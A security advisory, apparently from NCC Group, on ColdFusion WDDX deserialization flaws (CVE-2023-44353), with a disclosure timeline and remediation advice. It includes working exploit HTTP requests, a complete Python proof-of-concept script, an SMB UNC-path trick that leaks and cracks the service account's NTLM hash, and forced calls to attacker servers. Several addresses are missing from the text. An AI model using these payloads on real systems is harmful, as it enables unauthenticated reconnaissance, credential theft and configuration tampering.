Technical Advisory: Adobe ColdFusion WDDX Deserialization Gadgets

Vendor: Adobe
Vendor URL:
Versions affected:
    * Adobe ColdFusion 2023 Update 5 and earlier versions
    * Adobe ColdFusion 2021 Update 11 and earlier versions
Systems Affected: All
Author: McCaulay Hudson (
Advisory URL:
CVE Identifier: CVE-2023-44353
Risk: 5.3 Medium (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

Adobe ColdFusion allows software developers to rapidly build web applications. Recently, a critical vulnerability was identified in the handling of Web Distributed Data eXchange (WDDX) requests to ColdFusion Markup (CFM) endpoints. Multiple patches were released by Adobe to resolve the vulnerability, and each has been given its own CVE and Adobe security update:

From patch diffing, it was observed that the patch uses a deny list in the serialfilter.txt file to prevent specific packages from being executed in the deserialization attack. However, multiple packages were identified which did not exist in the deny list by default. This could be leveraged to perform enumeration of the ColdFusion server, or to set certain configuration values.

The vulnerabilities identified in this post were tested against ColdFusion 2023 Update 3 (packaged with Java JRE 17.0.6) using a default installation. No additional third-party libraries or dependencies were used or required for these specific vulnerabilities identified.


The vulnerabilities identified allowed an unauthenticated remote attacker to:

  • Obtain the ColdFusion service account NTLM password hash when the service was not running as SYSTEM
  • Verify if a file exists on the underlying operating system of the ColdFusion instance
  • Verify if a directory exists on the underlying operating system of the ColdFusion instance
  • Set the Central Config Server (CCS) Cluster Name configuration in the file
  • Set the Central Config Server (CCS) Environment configuration in the file

Being able to determine if a directory exists on the ColdFusion system remotely may aid attackers in further attacks against the system. For example, an attacker could enumerate the valid user accounts on the system by brute forcing the C:\Users\ or /home/ directories.

File or directory enumeration could also be used to determine the underlying operating system type and version. Changing the Central Config Server’s environment to development or beta may increase the attack surface of the server for further attacks. Finally, obtaining the service account NTLM hash of the user running ColdFusion may be used to tailor further attacks such as cracking the hash to a plaintext password, or pass-the-hash attacks.


The deserialization attack has been discussed in detail previously by Harsh Jaiswal in the blog post Adobe ColdFusion Pre-Auth RCE(s). The vulnerabilities discussed in this document are an extension of that attack, utilising packages which are currently not in the default deny list.

Due to the constraints of the deserialization attack, the following conditions must be met in order to execute a Java function within the ColdFusion application:

  • The class must contain a public constructor with zero arguments
  • The target function must begin with the word set
  • The target function must not be static
  • The target function must be public
  • The target function must have one argument
  • Multiple public non-static single argument set functions can be chained in a single request
  • Must not exist in the cfusion/lib/serialfilter.txt deny list

ColdFusion 2023 Update 3 contained the following cfusion/lib/serialfilter.txt file contents:


Adhering to those restrictions, the following functions were identified which provided an attacker useful information on the target system.

  • File
  • Directory
  • Set CCS cluster namecoldfusion.centralconfig.client.CentralConfigClientUtil.setClusterName
  • Set CCS environmentcoldfusion.centralconfig.client.CentralConfigClientUtil.setEnv

The proof of concept script has been provided at the end of this post. The following examples use multiple IP addresses which correspond to the following servers:

  • – Attacker controlled server
  • – Linux ColdFusion server
  • – Windows ColdFusion server

File existence –

The setClientCert function in the CentralConfigClientUtil class could be remotely executed by an unauthenticated attacker to perform multiple different attacks. The function definition can be seen below:

public void setClientCert(String keystore) {
    if (!new File(keystore).exists()) {
        throw new KeyStoreNotFoundException(keystore);
    this.keystore = keystore;

In this scenario, the attacker can control the keystore string parameter from the crafted HTTP request. An example HTTP request to exploit this vulnerability can be seen below:

POST /CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 202

argumentCollection=<wddxPacket version='1.0'><header/><data><struct type=''><var name='clientCert'><string>C:\\Windows\\win.ini</string></var></struct></data></wddxPacket>

Executing this function allows an attacker to check if a file on the filesystem exists. If a file was present, the server would respond with a HTTP status 500. However, if the file did not exist on the target system, the server would respond with a HTTP status 200. This can be seen using the provided PoC script:

└─$ python3 file-exist C:\\Windows\\win.ini
[#] Target: inPassword=bar _cfclient=true
[+] File exists
└─$ python3 file-exist C:\\Windows\\invalid-file
[#] Target: inPassword=bar _cfclient=true
[-] File does not exist

└─$ python3 file-exist /etc/passwd
[#] Target: inPassword=bar _cfclient=true
[+] File exists
└─$ python3 file-exist /etc/invalid
[#] Target: inPassword=bar _cfclient=true
[-] File does not exist

The Java File specification states that the path can be a Microsoft Windows UNC pathname. An attacker can therefore provide a UNC path of an attacker controlled SMB server. This will cause the ColdFusion application to connect to the attacker’s SMB server. Once the connection has occurred, the NTLM hash of the ColdFusion service account will be leaked to the attackers SMB server. However, the NTLM hash is only leaked if the ColdFusion service is not running as the SYSTEM user. It should be noted that by default, the ColdFusion service runs as the SYSTEM user, however Adobe recommends hardening this in the Adobe ColdFusion 2021 Lockdown Guide in section “6.2 Create a Dedicated User Account for ColdFusion”.

In the following example, the ColdFusion service has been hardened to run as the coldfusion user, instead of the default SYSTEM user.

ColdFusion service running as “coldfusion” user

An SMB server is hosted using on the attacker’s machine:

└─$ -smb2support TMP /tmp
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B125FC8-1210-09D4-1220-5A47EA6BB121 V:3.0
[*] Callback added for UUID 6BEEA021-B512-1680-9933-16D3A87F305A V:1.0

The file exist ColdFusion vulnerability can then be triggered to access the attacker’s SMB server using the UNC path:

└─$ python3 file-exist \\\\\\TMP
[#] Target: inPassword=bar _cfclient=true
[+] File exists

The output shows that the ColdFusion server connected to the attacker’s SMB server, which resulted in the ColdFusion account Net-NTLMv2 hash being leaked:

[*] Incoming connection (,53483)
[*] User DESKTOP-J10AQ1P\coldfusion authenticated successfully
[*] coldfusion::DESKTOP-J10AQ1P:aaaaaaaaaaaaaaaa:10a621e4f3b9a4b311ef62b45d3c94fd:0101000000000000808450406ecbd901702ffe4197ae622300000000010010006900790064006100520073004b004400030010006900790064006100520073004b0044000200100071004300780052007a005900410059000400100071004300780052007a0059004100590007000800808450406ecbd90106000400020000000800300030000000000000000000000000300000c23fddb9ebd5ba3c293612e488cfa07300752e0ee89205bfbdade370d11ab4520a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100390038002e003100320038000000000000000000
[*] Closing down connection (,53483)

The hash can then be cracked using tools such as John the Ripper or Hashcat. As shown in the following output, the coldfusion user had the Windows account password of coldfusion.

└─$ echo "coldfusion::DESKTOP-J10AQ1P:aaaaaaaaaaaaaaaa:6d367a87f95d9fb5637bcfad38ae7110:0101000000000000002213dd6ecbd9016f132c6d672d957400000000010010004f0078006d00450061006c0073006f00030010004f0078006d00450061006c0073006f000200100063004200450044006100670074004b000400100063004200450044006100670074004b0007000800002213dd6ecbd90106000400020000000800300030000000000000000000000000300000c23fddb9ebd5ba3c293612e488cfa07300752e0ee89205bfbdade370d11ab4520a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100390038002e003100320038000000000000000000" > hash.txt
└─$ john --format=netntlmv2 --wordlist=passwords.txt hash.txt
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
coldfusion       (coldfusion)

Directory existence –

Similar to file existence, it is also possible to determine if a directory exists by leveraging the setDirectory function in the CacheTag class. The function is defined as:

public void setDirectory(String directory) {
    if ("".equals(directory = directory.trim())) {
    directory = Utils.getFileFullPath(directory.trim(), this.pageContext, true);
    File tempFile = VFSFileFactory.getFileObject(directory);
    if (!CacheTag.fileExists(directory) || tempFile.isFile()) {
        CacheExceptions.throwDirectoryNotFoundException("directory", directory);
    } = directory;

In this case, the directory variable can be controlled by an unauthenticated request to the ColdFusion server. Once the functionality has passed various helper methods, it checks whether the directory exists or not and causes a HTTP error 500 when it does exist, and a HTTP error 200 when it does not exist. An example HTTP request can be seen below:

POST /CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=foo _cfclient=true HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 192

argumentCollection=<wddxPacket version='1.0'><header/><data><struct type=''><var name='directory'><string>/tmp/</string></var></struct></data></wddxPacket>

Likewise, the Python script can be used to automate this request:

└─$ python3 directory-exist C:\\Windows\\
[#] Target: inPassword=bar _cfclient=true
[+] Directory exists
└─$ python3 directory-exist C:\\Invalid\\
[#] Target: inPassword=bar _cfclient=true
[-] Directory does not exist

└─$ python3 directory-exist /tmp/
[#] Target: inPassword=bar _cfclient=true
[+] Directory exists
└─$ python3 directory-exist /invalid/
[#] Target: inPassword=bar _cfclient=true
[-] Directory does not exist

The helper function VSFileFactory.getFileObject uses the Apache Commons VFS Project for additional file system support. The list of supported file systems can be seen in the cfusion/lib/vfs-providers.xml file.

File System – HTTP/HTTPS

The HTTP(S) schemas allow you to perform a HTTP(S) HEAD request on behalf of the ColdFusion server. In the following example, a HTTP server is hosted on the attacker machine:

└─$ sudo python3 -m http.server 80
Serving HTTP on port 80 ( ...

The request is then triggered with a path of the attacker’s web server:

└─$ python3 directory-exist
[#] Target: inPassword=bar _cfclient=true
[-] Directory does not exist

This then causes a HTTP(S) HEAD request to be sent to the server: - - [10/Aug/2023 08:43:01] "HEAD / HTTP/1.1" 200 -

File System – FTP

The FTP schema allows you to connect to an FTP server using the login credentials anonymous/anonymous:

└─$ python3 directory-exist
[#] Target: inPassword=bar _cfclient=true
[-] Directory does not exist
msf6 auxiliary(server/capture/ftp) > 
[+] FTP LOGIN anonymous / anonymous

File System – JAR/ZIP

The JAR/ZIP schema allows you to enumerate the existence of directories within JAR/ZIP files on the ColdFusion server:

└─$ python3 directory-exist jar://opt/ColdFusion2023/cfusion/lib/cfusion.jar\!META-INF
[#] Target: inPassword=bar _cfclient=true
[+] Directory exists

└─$ python3 directory-exist jar://opt/ColdFusion2023/cfusion/lib/cfusion.jar\!INVALID
[#] Target: inPassword=bar _cfclient=true
[-] Directory does not exist

The remaining supported filesystems were not tested, however it is likely they can be used to enumerate directories for the given filesystem.

Set CCS Cluster Name – coldfusion.centralconfig.client.CentralConfigClientUtil.setClusterName

It was possible to set the Central Config Server (CCS) Cluster Name setting by executing the setClusterName function inside the CentralConfigClientUtil class. The function is defined as:

public void setClusterName(String cluster) {
    if (ccsClusterName.equals(cluster)) {
    ccsClusterName = cluster;
    ccsCheckDone = false;

An attacker can control the cluster parameter and set the cluster name to any value they choose. An example HTTP request to trigger the vulnerability is shown below:

POST /CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=foo _cfclient=true HTTP/1.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 216

argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcoldfusion.centralconfig.client.CentralConfigClientUtilx'><var name='clusterName'><string>EXAMPLE</string></var></struct></data></wddxPacket>

Additionally, the provided PoC script can be used to simplify setting the CCS cluster name:

└─$ python3 ccs-cluster-name EXAMPLE
[#] Target: inPassword=bar _cfclient=true
[+] Set CCS cluster name

Once the request has been processed by the ColdFusion server, the clustername property in the cfusion/lib/ccs/ file is set to the attacker controlled value, and the cluster name is used by the ColdFusion server.

#Fri Aug 11 09:04:22 BST 2023

Set CCS Environment – coldfusion.centralconfig.client.CentralConfigClientUtil.setEnv

Similar to setting the CCS cluster name, an attacker can also set the CCS environment by executing the setEnv function inside the CentralConfigClientUtil class as shown below:

public void setEnv(String env) {
    if (ccsEnv.equals(env)) {
    ccsEnv = env;

An example HTTP request to execute this function with the attacker controlled env variable can be seen below:

POST /CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=foo _cfclient=true HTTP/1.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 212

argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcoldfusion.centralconfig.client.CentralConfigClientUtilx'><var name='env'><string>development</string></var></struct></data></wddxPacket>

The PoC Python script command ccs-env automates sending this request:

└─$ python3 coldfusion-wddx.py192.168.198.129 ccs-env EXAMPLE
[#] Target: inPassword=bar _cfclient=true
[+] Set CCS environment

Finally, the environment property in the cfusion/lib/ccs/ file has been changed to the attacker controlled value.

#Fri Aug 11 09:08:54 BST 2023


Do not deserialize user-controlled data where possible. Especially in instances where attackers can provide class names and functions which result in remote code execution. The existing patch uses a deny list which is not recommended, as it is not possible to list and filter all possible attacks that could target the ColdFusion server. This is especially so with the ability to load additional third-party Java files which could be targeted.

Instead, if the deserialization is a critical part of functionality which cannot be changed, an allow list should be used instead of a deny list. This would allow you to carefully review and list the small number of classes which can be used for this functionality, whilst minimising the likelihood of an attack against these classes. Although an allow list is a much better alternative to the deny list, it is still not a secure solution as vulnerabilities may exist within the allowed classes. Likewise, future changes and updates may occur within those vulnerable classes that the developer may not be aware of.

The following proof of concept script “” has been provided to demonstrate the various vulnerabilities outlined in this post.

import argparse
import requests
import sys
import enum

URL = None

class LogLevel(enum.Enum):
    NONE = 0
    MINIMAL = 1
    NORMAL = 2
    DEBUG = 3

class ExitStatus(enum.Enum):
    SUCCESS = 0

# Log the msg to stdout if the verbosity level is >= the given level
def log(level, msg):
    if VERBOSITY.value >= level.value:

# Show a result and exit
def resultObj(obj):
    if VERBOSITY == LogLevel.MINIMAL and 'minimal' in obj:
        log(LogLevel.MINIMAL, obj['minimal'])
    log(LogLevel.NORMAL, obj['normal'])

# Show a result and exit success/fail wrapper
def result(code, successObj, failObj):
    # Success occurs when a server error occurs
    if code == 500:
        return resultObj(successObj)
    return resultObj(failObj)

# Build the WDDX Deserialization Packet
def getPayload(cls, function, argument, type = 'string'):
    name = function
    # Validate the function begins with "set"
    if name[0:3] != 'set':
        log(LogLevel.MINIMAL, '[-] Target function must begin with "set"!')

    # Remove "set" prefix
    name = function[3:]

    # Lowercase first letter
    name = name[0].lower() + name[1:]

    return f"""<wddxPacket version='1.0'>
        <struct type='x{cls}x'>
            <var name='{name}'>

# Perform the POST request to the ColdFusion server
def request(cls, function, argument, type = 'string'):
    payload = getPayload(cls, function, argument, type)

    log(LogLevel.DEBUG, '[#] Sending HTTP POST request with the following XML payload:')
    log(LogLevel.DEBUG, payload)
        r =, data={
            'argumentCollection': payload
        }, headers={
            'Content-Type': 'application/x-www-form-urlencoded'
        log(LogLevel.DEBUG, f'[#] Retrieved HTTP status code {r.status_code}')
        return r.status_code
    except requests.exceptions.ConnectionError:
        log(LogLevel.MINIMAL, '[-] Failed to connect to target ColdFusion server!')

# Handle the execute command
def execute(classpath, method, argument, type):
    log(LogLevel.NORMAL, f'[#]')
    log(LogLevel.NORMAL, f'[!] Execute restrictions:')
    log(LogLevel.NORMAL, f'[!] * Class')
    log(LogLevel.NORMAL, f'[!]   * Public constructor')
    log(LogLevel.NORMAL, f'[!]   * No constructor arguments')
    log(LogLevel.NORMAL, f'[!] * Function')
    log(LogLevel.NORMAL, f'[!]   * Name begins with "set"')
    log(LogLevel.NORMAL, f'[!]   * Public')
    log(LogLevel.NORMAL, f'[!]   * Not static')
    log(LogLevel.NORMAL, f'[!]   * One argument')
    log(LogLevel.NORMAL, f'[#]')
    code = request(classpath, method, argument, type)
    if VERBOSITY == LogLevel.MINIMAL:
        log(LogLevel.MINIMAL, f'{code}')
    log(LogLevel.NORMAL, f'[#] HTTP Code: {code}')
    sys.exit(ExitStatus.SUCCESS.value if code == 500 else code)

# Handle the directory existence command
def directoryExists(path):
    code = request('', 'setDirectory', path)
    result(code, {
        'minimal': 'valid',
        'normal': '[+] Directory exists',
        'status': ExitStatus.SUCCESS,
    }, {
        'minimal': 'invalid',
        'normal': '[-] Directory does not exist',
        'status': ExitStatus.DIRECTORY_NOT_FOUND,

# Handle the file existence command
def fileExists(path):
    code = request('', 'setClientCert', path)
    result(code, {
        'minimal': 'valid',
        'normal': '[+] File exists',
        'status': ExitStatus.SUCCESS,
    }, {
        'minimal': 'invalid',
        'normal': '[-] File does not exist',
        'status': ExitStatus.FILE_NOT_FOUND,

# Set CCS Cluster Name
def setCCsClusterName(name):
    code = request('coldfusion.centralconfig.client.CentralConfigClientUtil', 'setClusterName', name)
    result(code, {
        'minimal': 'success',
        'normal': '[+] Set CCS cluster name',
        'status': ExitStatus.SUCCESS,
    }, {
        'minimal': 'failed',
        'normal': '[-] Failed to set CCS cluster name',
        'status': ExitStatus.FAIL_SET_CCS_CLUSTER_NAME,

# Set CCS Environment
def setCcsEnv(env):
    code = request('coldfusion.centralconfig.client.CentralConfigClientUtil', 'setEnv', env)
    result(code, {
        'minimal': 'success',
        'normal': '[+] Set CCS environment',
        'status': ExitStatus.SUCCESS,
    }, {
        'minimal': 'failed',
        'normal': '[-] Failed to set CCS environment',
        'status': ExitStatus.FAIL_SET_CCS_ENV,

def main(args):
    global URL, VERBOSITY

    # Build URL
    URL = f'{args.protocol}://{}:{args.port}{args.cfc}'

    # Set verbosity
    if args.verbosity == 'none':
        VERBOSITY = LogLevel.NONE
    elif args.verbosity == 'minimal':
        VERBOSITY = LogLevel.MINIMAL
    elif args.verbosity == 'normal':
        VERBOSITY = LogLevel.NORMAL
    elif args.verbosity == 'debug':
        VERBOSITY = LogLevel.DEBUG

    log(LogLevel.NORMAL, f'[#] Target: {URL}')

    # Execute
    if args.command == 'execute':
        return execute(args.classpath, args.method, args.argument, args.type)

    # Directory Existence
    if args.command == 'directory-exist':
        return directoryExists(args.path)

    # File Existence
    if args.command == 'file-exist':
        return fileExists(args.path)

    # Set CCS Cluster Name
    if args.command == 'ccs-cluster-name':
        return setCCsClusterName(

    # Set CCS Environment
    if args.command == 'ccs-env':
        return setCcsEnv(args.env)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='')
    parser.add_argument('host', help='The target server domain or IP address')
    parser.add_argument('-p', '--port', type=int, default=8500, help='The target web server port number (Default: 8500)')
    parser.add_argument('-pr', '--protocol', choices=['https', 'http'], default='http', help='The target web server protocol (Default: http)')
    parser.add_argument('-c', '--cfc', default='/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true', help='The target CFC path (Default: /CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=foo _cfclient=true)')
    parser.add_argument('-v', '--verbosity', choices=['none', 'minimal', 'normal', 'debug'], default='normal', help='The level of output (Default: normal)')
    subparsers = parser.add_subparsers(required=True, help='Command', dest='command')

    # Execute
    parserE = subparsers.add_parser('execute', help='Execute a specific class function')
    parserE.add_argument('classpath', help='The target full class path (Example: coldfusion.centralconfig.client.CentralConfigClientUtil)')
    parserE.add_argument('method', help='The set function to execute (Example: setEnv)')
    parserE.add_argument('argument', help='The function argument to pass (Example: development)')
    parserE.add_argument('-t', '--type', default='string', help='The function argument type (Default: string)')

    # Directory Enumeration
    parserD = subparsers.add_parser('directory-exist', help='Check if a directory exists on the target server')
    parserD.add_argument('path', help='The absolute directory path (Examples: /tmp, C:/)')

    # File Enumeration
    parserF = subparsers.add_parser('file-exist', help='Check if a file exists on the target server')
    parserF.add_argument('path', help='The absolute file path (Examples: /etc/passwd, C:/Windows/win.ini)')

    # Set CCS Server Cluster Name
    parserN = subparsers.add_parser('ccs-cluster-name', help='Set the Central Config Server cluster name')
    parserN.add_argument('name', help='The absolute directory path (Example: _CF_DEFAULT)')

    # Set CCS Server Env
    parserE = subparsers.add_parser('ccs-env', help='Set the Central Config Server environment')
    parserE.add_argument('env', help='The absolute directory path (Example: development)')


Vendor Communication

  • 2023-09-12: Disclosed vulnerability to Adobe
  • 2023-09-12: Adobe opened vulnerability investigation
  • 2023-11-15: Adobe published advisory APSB23-52 containing CVE-2023-44353

Thanks to

About NCC Group

NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate respond to the risks they face. We are passionate about making the Internet safer and revolutionising the way in which organisations think about cybersecurity.

Call us before you need us.

Our experts will help you.

Get in touch